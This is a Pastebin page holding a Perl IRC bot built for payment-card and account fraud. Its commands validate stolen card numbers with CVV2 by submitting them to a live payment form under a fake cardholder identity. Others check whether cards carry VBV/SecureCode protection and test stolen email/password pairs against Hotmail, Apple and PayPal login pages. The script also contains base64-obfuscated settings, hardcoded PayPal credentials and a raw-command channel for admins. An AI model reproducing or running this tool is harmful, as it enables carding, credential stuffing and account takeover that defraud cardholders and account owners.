Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use HTTP::Cookies;
- use MIME::Base64;
- use Parallel::ForkManager;
- use MIME::Base64 ();
- use WWW::Mechanize;
- use WWW::Mechanize::FormFiller;
- use Net::FTP;
- $| = 1;
- #############Defines global variable/array#############
- my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
- my(@chans,@admins,@user_agents);
- #######################################################
- my $ppcmd = '!pp';
- my $ipcmd = '!ip';
- my $chkcmd = '!chk';
- my $base64cmd = '!base64';
- my $bankcmd = '!bank';
- my $seccmd = '!sec';
- my $statecmd = '!state';
- my $zipcmd = '!zip';
- ################Configurations Variable################
- my $outcri = "Mg==";
- $systemcri = MIME::Base64::decode($outcri);
- $timeout = $systemcri;
- my $hostcri = "ODcuMjM2LjE5NC42OQ==";
- $systemcri = MIME::Base64::decode($hostcri);
- $hosting = "irc.chknet.cc";
- $port = 6667;
- my $nkpro = "latinchek";
- $ident = "filemon";
- $parallel_fork = 15;
- my @botcmd = ('1');
- @chans = ("#latino");
- my $proo = "czRsMXR5";
- $systempro = MIME::Base64::decode($proo);
- my $cheataer = "czRsMXR5";
- $sistempro = MIME::Base64::decode($cheataer);
- @s4l1ty = ($systempro,$sistempro);
- @admin = ('MOSSAD');
- @user_agents = &get_user_agents();
- ################Irc Socket Connection################
- my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
- $sysircuno = MIME::Base64::decode($startirc);
- $irc_socket = new LWP::Socket;
- $irc_socket->connect($hosting,$port);
- $irc_socket->write("USER ".$ident." 8 * : 09,01s4l1ty\r\n");
- $irc_socket->write("NICK ".$nkpro."\r\n");
- $irc_socket->write("oper dafydino dafydino\r\n");
- $irc_socket->write("sethost chkk-bot.info\r\n");
- $irc_socket->write("mode CC-chk +k\r\n");
- $irc_socket->write("JOIN $chans[2]\r\n");
- $irc_socket->write("JOIN $chans[3]\r\n");
- $irc_socket->write("JOIN $chans[4]\r\n");
- $irc_socket->write("JOIN $chans[5]\r\n");
- while($irc_socket)
- {
- my $bof;
- $irc_socket->read_until("\n", \$bof);
- if($bof =~ /PING :(.*)/)
- {
- $irc_socket->write("PONG :$1\r\n");
- }
- if($bof =~ /PRIVMSG (.*?) :(.*)/)
- {
- #PRIVMSG
- my %msg = &get_msg($bof);
- #############################@@@@======BOT COMMANDS STARTED FROM HERE=====@@@@##############
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- if($msg{'what'} =~ /\!cmd/){
- &respond_to_privmsg(\%msg,"14,01-= 08 BOt Commands14 =-00");
- &respond_to_privmsg(\%msg,"07,01info: 04Suported 14,01[00,02 VISA 14,01]01,01 14,01[0,4
- Master 0,7 Card 14,01]01,01 14,1[01,00 Disc07Over01,00 14,01]01,01 14,01[00,10 American Express 14,01]");
- &respond_to_privmsg(\%msg,"07,01!chk03,1.......7,1: 4,1<8,1ccnumber4,1> 4,1<8,1expdate4,1>
- 4,1<8,1cvv24,1> 15to check cvv2");
- &respond_to_privmsg(\%msg,"07,01!bank03,1......7,1: 04,01<08,01ccnumber04,01> 15to retreive
- bank name");
- &respond_to_privmsg(\%msg,"07,01!sec03,1.......7,1: 4,1<8,1ccnumber4,1> 15to check if cc is protected by VBV or MSC");
- &respond_to_privmsg(\%msg,"07,01!ip03,1........7,1: 4,1<8,1ip address4,1> 15to get info about an IP");
- &respond_to_privmsg(\%msg,"07,01!zip03,1.......7,1: 4,1<8,1zip code4,1> 15to get city and
- state by zip");
- &respond_to_privmsg(\%msg,"07,01!state03,1.....7,1: 4,1<8,1state4,1> 15to retrieve state code");
- &respond_to_privmsg(\%msg,"07,01!pp03,1........7,1: 4,1<8,1email4,1> 15to check paypal verification status");
- &respond_to_privmsg(\%msg,"07,01!paypal03,1....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
- 15for checking paypal logins");
- &respond_to_privmsg(\%msg,"07,01!hotmail03,1...7,1: 4,1<8,1email4,1> 4,1<8,1password4,1> 15for checking hotmail logins");
- &respond_to_privmsg(\%msg,"07,01!apple03,1.....7,1: 4,1<8,1email4,1> 4,1<8,1password4,1>
- 15for checking apple logins");
- &respond_to_privmsg(\%msg,"07,01!port03,1......7,1: 4,1<8,1ip4,1> 4,1<8,1port4,1> 15,1to
- check ip for open port");
- &respond_to_privmsg(\%msg,"07,01!md503,1.......7,1: 4,1<8,1string4,1> 15,1to generate md5
- hash");
- &respond_to_privmsg(\%msg,"07,01!md5decode03,1.7,1: 4,1<8,1hash4,1> 15,1to unhash md5 hash");
- &respond_to_privmsg(\%msg,"07,01!sha103,1......7,1: 4,1<8,1string4,1> 15,1to generate sha1
- hash");
- &respond_to_privmsg(\%msg,"07,01!sha1decode03,17,1: 4,1<8,1hash4,1> 15,1to unhash sha1
- hash");
- &respond_to_privmsg(\%msg,"07,01!dns03,1.......7,1: 04,01<08,01hostname04,01> 15to retreive
- HostName to IpAddress");
- #&respond_to_privmsg(\%msg,"07,01!base6403,1....7,1: 4,1<8,1text4,1> 15Decrypt & encrypt
- ascii-base64 base64-ascii");
- }
- #############################@@@@======something=====@@@@###############################
- if($msg{'what'} =~ /^!help/){
- &respond_to_privmsg(\%msg,"07,01Type 09!cmd07 to get command list");
- }
- ############################################################################################
- if($msg{'what'} =~ /\!chk 1/){
- &respond_to_privmsg(\%msg,"w00t?");
- }
- #############################@@@@======BASIC CHKBOT MACHINE=====@@@@########################
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- if($msg{'what'} =~ /^$chkcmd\s(\b[5436][0-9]{13,16}\b)\s(\d{4})\s(\b[0-9]{3,4}\b)/)
- {
- my ($numerocarta,$expmes,$verifica) = ($1,$2,$3);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- my $varType = 0;
- print "\n";
- if (substr($numerocarta,0,1)==4) {
- $varType = 'vs';
- &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,02[00,02 VISA 00,02]");
- }
- if (substr($numerocarta,0,1)==5) {
- $varType = 'mc';
- &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 14,01[0,4 Master 0,7 Card 14,01]");
- }
- if (substr($numerocarta,0,1)==6) {
- $varType = 'ds';
- &respond_to_privmsg(\%msg,"14,01[15,01Information14,01]03,01 Credit Card Type is 14,1[01,00 Disc07Over01,00 14,01]");
- }
- if (substr($numerocarta,0,1)==3) {
- $varType = 'ax';
- &respond_to_privmsg(\%msg,"14,01[15,1Information14,01]03,01 Credit Card Type is 00,01[00,10 American Express 00,01]");
- }
- &respond_to_privmsg(\%msg,"14,01[15,1Checking...14,01]02,01 $numerocarta 08$var1/20$var204 04$verifica");
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"14,01[15Bank.......14]0 $1");
- }
- }
- &respond_to_privmsg(\%msg,"14,01[15,01Amount.....14,01] 02Amount:09,01 1USD");
- my $rechecklist = "New.txt";
- open FILE,"$rechecklist";
- my @results = <FILE>;
- close FILE;
- my $chkResVar = 0;
- foreach my $cRes(@results) {
- if($cRes =~ m/CcNumber: $numerocarta/) {
- $chkResVar = 1;
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!
- (Recheck)");
- goto toEnd;
- }
- }
- my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('address', '1211 Sandy Plains Ln'); };
- { local $^W; $agent->current_form->value('zip', '44512'); };
- { local $^W; $agent->current_form->value('cardholder_fname', 'John'); };
- { local $^W; $agent->current_form->value('cardholder_lname', 'Maury'); };
- { local $^W; $agent->current_form->value('ccnum', ''.$numerocarta.''); };
- { local $^W; $agent->current_form->value('expdate', ''.$var1.''.$var2.''); };
- { local $^W; $agent->current_form->value('cvv2', ''.$verifica.''); };
- { local $^W; $agent->current_form->value('email', 'johnmaury@rocketmail.com'); };
- { local $^W; $agent->current_form->value('x_Amount', '1'); };
- $agent->submit();
- my $allo=$agent->content;
- if ($allo =~ m/The transaction has been declined because of an AVS mismatch./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 09,01APPROVED!");
- }elsif ($allo =~/This transaction has been declined./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4DECLINED!");
- }elsif ($allo =~/The credit card number is invalid./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4INVALID!");
- }elsif ($allo =~/The credit card has expired./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4EXPIRED!");
- }elsif ($allo =~/A duplicate transaction has been submitted./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4RECHECK!");
- }elsif ($allo =~/This transaction cannot be accepted at this time./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT DOWN!");
- }elsif ($allo =~/An error occurred during processing./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT ERROR!");
- }
- toEnd:
- }
- #####################################################################################
- #############################@@@@======Logins Checkers=====@@@@#############################
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- ########################################################################################
- if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
- my ($hotmailz,$hotpasswordx) = ($1,$2);
- chop($hotpasswordx);
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc
- %3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
- $agent->form_number(1);
- $agent->current_form->value('login', ''.$hotmailz.'');
- $agent->current_form->value('passwd', ''.$hotpasswordx.'');
- $agent->submit();
- print $agent->content,"\n";
- my $internal = $agent->content;
- if ($internal =~/Windows Live ID/) {
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
- }else{
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
- }
- }
- ########################################################################################
- ########################################################################################
- if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
- my ($email,$pass) = ($1,$2);
- chop($email,$pass);
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?
- appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com
- %252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
- $agent->form_number(2);
- $agent->current_form->value('theAccountName', ''.$email.'');
- $agent->current_form->value('theAccountPW', ''.$pass.'');
- $agent->submit();
- $agent->reload();
- print $agent->content,"\n";
- my $internal = $agent->content;
- my $allo=$agent->content;
- open(FILE3,">>Apple.html") or die "$!";
- print FILE3 "$allo\n";
- close FILE3;
- sleep(2);
- if($internal =~/Did you forget/) {
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
- }
- elsif($internal =~/blocked/) {
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
- } elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
- my $name = $1;
- my $surname = $2;
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
- }
- }
- #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
- {
- my ($zipcheck) = ($1);
- &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]0,1 Checking...08 $zipcheck");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $zipse=$agent->content;
- if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td
- align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
- my ($city) = ($1);
- my ($state) = ($2);
- &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]3 $city | $state");
- }
- elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
- &respond_to_privmsg(\%msg,"14,1[ 15Zip14 ]8 $zipcheck04 NOT FOUND!");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^$ipcmd (.*)/)
- {
- my ($ipcheck) = ($1);
- &respond_to_privmsg(\%msg,"14,1[ 9ip14 ]0,1 Checking...08 $ipcheck");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.ipligence.com/geolocation');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('ip', ''.$ipcheck.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $ipse=$agent->content;
- if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
- my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
- &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 IP ADDRESS :3 $ipaddress");
- &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 CITY :3 $city ");
- &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 COUNTRY :3 $country ");
- &respond_to_privmsg(\%msg,"14,1[ 9ip14 ] 7 Continent :3 $continent ");
- }
- elsif ($ipse =~/Invalid address or IP not found/){
- &respond_to_privmsg(\%msg,"4,1[ 9ip4 ] 9-4 Invalid IP address!");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^!dns (.*)/)
- {
- my ($hostname) = ($1);
- &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Checking 14$hostname");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.ipligence.com/geolocation');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('ip', ''.$hostname.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $dnschk=$agent->content;
- if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
- my ($resolved,$city,$country,$continent) = ($1,$2,$3,$4);
- &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01]08,01 Resolved to09$resolved");
- }
- elsif ($dnschk =~/Invalid address or IP not found/){
- &respond_to_privmsg(\%msg,"14,1[15,01 Dns 14,01] 04,01Could not Resolve Hostname");
- }
- }
- ############################################################################################
- if($msg{'what'} =~ /^!port\s(.*) (.*)/) {
- my($cip,$cport) = ($1,$2);
- chop($cport);
- &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]00,01 Checking...08,01 $cip:$cport");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://s4l1ty.usr.sh/toolz/checkport/");
- $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
- { local $^W; $agent->current_form->value('port', ''.$cport.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $resultport=$agent->content;
- if($resultport =~/is opened/g){
- &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is opened");
- }elsif($resultport = ~/is closed/){
- &respond_to_privmsg(\%msg,"14,1[15,1 Port 14,01]08 $cip:$cport 09is 04Closed");
- }
- }
- ########################################################################################
- if($msg{'what'} =~ /^$seccmd\s(\d{16})/){
- my ($vbvnumb) = ($1);
- &respond_to_privmsg(\%msg,"14,01[15,1Vbv/Mcsc14,01]00,01 Checking...08,01 $vbvnumb");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('cclist', ''.$vbvnumb.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $secres=$agent->content;
- if ($secres =~/PROTECTION ACTIVE/g){
- &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 Protection Active!");
- }elsif ($secres =~/PROTECTION NOT ACTIVE/){
- &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb09,01 Protection Not Active!");
- }elsif ($secres =~/Unknown/){
- &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb07,1 Unknown");
- }elsif ($secres =~/INVALID/){
- &respond_to_privmsg(\%msg,"14,1[15,1Vbv/Mcsc14,01]08,01 $vbvnumb04,01 INVALID");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^!md5\s(.*)/) {
- my $mstring = $1;
- chop($mstring);
- &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $resmd=$agent->content;
- if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
- &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
- }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
- &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
- }
- else{
- &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^!md5decode (.*)/) {
- my $md = $1;
- chop($md);
- &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
- $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $internal=$agent->content;
- if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
- &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
- }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
- &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
- }elsif($internal = ~/Invalid/){
- &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^!sha1\s(.*)/) {
- my $shastring = $1;
- chop($shastring);
- &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $resmd=$agent->content;
- if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
- &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
- }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
- &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
- }
- else{
- &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
- }
- }
- #####################################################################################
- if($msg{'what'} =~ /^!sha1decode (.*)/) {
- my $sha = $1;
- chop($sha);
- &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
- $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $internal=$agent->content;
- if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
- &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
- }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
- &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
- }elsif($internal = ~/Invalid/){
- &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
- }
- }
- ###########################################################################################
- if($msg{'what'} =~ /^!transid (.*)/)
- {
- my ($words) = ($1);
- chop($words);
- &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1);
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://translate.reference.com/');
- { local $^W; $agent->current_form->value('src', 'id'); };
- { local $^W; $agent->current_form->value('dst', 'en'); };
- { local $^W; $agent->current_form->value('query', ''.$words.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $tranzid=$agent->content;
- if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
- &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
- }
- }
- #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- if($msg{'what'} =~ /^$statecmd (.*)/){
- my $statesinfo = $1;
- my $statedatabase = "state.txt";
- open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
- my @results=<FILE>;
- close FILE;
- my $statevar = 0;
- my $nostatevar = 0;
- my $statex = substr($statesinfo,0,2);
- foreach my $url (@results){
- if($url =~ /$statex\|(.*)/){
- if($statevar == 0) {
- &respond_to_privmsg(\%msg,"14,01[12State14]7 $statex 04:9 $1");
- goto finish;
- }
- }
- else{
- $nostatevar = 1;
- }
- }
- if($nostatevar == 1) {
- &respond_to_privmsg(\%msg,"14,01[12State14]07 Could not Retrieve State.");
- }
- finish:
- }
- ############################################################################################
- #####################################################################################
- if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
- my $bankinfo = $1;
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankvar = 0;
- my $chkvar = 0;
- foreach my $url (@results){
- if($url =~ /$bankinfo\|(.*)/){
- if($bankvar == 0) {
- $bankvar = 1;
- &respond_to_privmsg(\%msg,"14,1[12BanK..14]0 $1");
- goto finish;
- }
- }
- else{
- $chkvar = 1;
- }
- }
- if($chkvar == 1) {
- &respond_to_privmsg(\%msg,"14,01[12BanK..14]07,01 Could not retreive bank.");
- }
- finish:
- }
- #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
- if($msg{'what'} =~ /\!hop (.*)/)
- {
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("PART ".$1." ".$2."\n");
- $irc_socket->write("JOIN ".$1." ".$2."\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!join (.*)/)
- {
- my $joinz= $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("JOIN ".$joinz."\r\n");
- }
- }
- if($msg{'what'} =~ /\!hop (.*)/)
- {
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("PART ".$1." ".$2."\n");
- $irc_socket->write("JOIN ".$1." ".$2."\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!part (.*)/)
- {
- my $parted = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("part ".$parted."\r\n");
- }
- }
- ####################################################################################
- #####################################################################################
- if($msg{'what'} =~ /\!out(.*)/)
- {
- my $qmsg = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("quit ".$qmsg."\r\n");
- }
- }
- ######################################################################################
- ######################################################################################
- if($msg{'what'} =~ /\!rax (.*)/)
- {
- my $raw = $1;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"15,1[4RAW15]12 SENDING IRC RAW REQUESTED");
- $irc_socket->write($raw."\r\n");
- }
- }
- #############################@@@@======ADDED payPaL Chk!=====@@@@###########################
- #############################CONTACT ME : s4l1ty@hotmail.com################################
- ############################################################################################
- if($msg{'what'} =~ /^$ppcmd (.*)/)
- {
- my ($ppchek) = ($1);
- chop($ppchek);
- &respond_to_privmsg(\%msg,"14,1[12 PAYPAL 14,1]00,1 CHECKiNG...00,1 -9,1${ppchek}00,1-\r\n");
- my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
- my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
- $agent->env_proxy();
- $agent->get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(3);
- { local $^W; $agent->current_form->value('login_email', 'moviemax@live.it'); };
- { local $^W; $agent->current_form->value('login_password', 'napster23'); };
- $agent->submit();
- my $internal=$agent->content;
- if ($internal =~/Please make sure you enter your/){
- &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
- $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check login username/password !\r\n");
- }
- elsif ($internal =~/Please take a moment to choose and answer 2 security questions./){
- &respond_to_privmsg(\%msg,"15,1[12,01 PAYPAL 15]04 Wait...Something Wrong,please contact 09s4l1ty\r\n");
- $irc_socket->write("PRIVMSG s4l1ty :15,1[12,01 PAYPAL 15]04 check account security question !\r\n");
- }
- else {
- print "Logging you in securely \r\n";
- $agent->follow_link( url_regex => qr/login_access/i );
- $agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');
- my $resp=$agent->content;
- if ($resp =~/is PayPal Verified/){
- &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[9VERIFIED14,1]\r\n");
- }
- elsif ($resp =~/is NOT PayPal Verified/){
- &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 14,1-00,1${ppchek}14,1- 14,1[4,1UNVERIFIED14,1]\r\n");
- }
- elsif ($resp =~/Your access to view member information is currently limited/){
- &respond_to_privmsg(\%msg,"14,01[15 ResuLT 14] 04 check account access limit !\r\n");
- print "Your access to view member information is currently limited. Please try back at another time.\r\n";
- }
- }
- }
- }
- }
- #####################################################################################
- sub ctrl_admin()
- {
- my $data = $_[0];
- foreach my $admin ( @admin )
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
- return(-1);
- }
- #####################################################################################
